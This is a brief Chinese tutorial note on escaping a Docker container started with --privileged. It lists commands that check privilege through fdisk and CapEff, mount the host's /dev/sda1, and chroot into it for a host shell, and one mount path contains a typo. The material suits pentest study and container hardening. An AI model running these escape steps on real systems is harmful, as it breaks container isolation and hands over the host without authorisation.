特权模式逃逸

当容器启动加上–privileged 选项时,容器可以访问宿主机上所有设备

启动一个特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 bash

判断容器是否特权启动
查看磁盘,默认情况下容器执行fdisk -l 是无法查看的
fdisk -l

查看 capEff 值,特权值为 0000003fffffffff
cat /proc/self/status | grep CapEff

#创建一个挂载目录
mkdir /tmp/hosts

#查看宿主机磁盘文件
fdisk -l

#挂载到创建的目录
mount /dev/sda1 /tem/hosts/
cd /tmp/hosts/

#通过 chroot 切换 bash
chroot ./ bash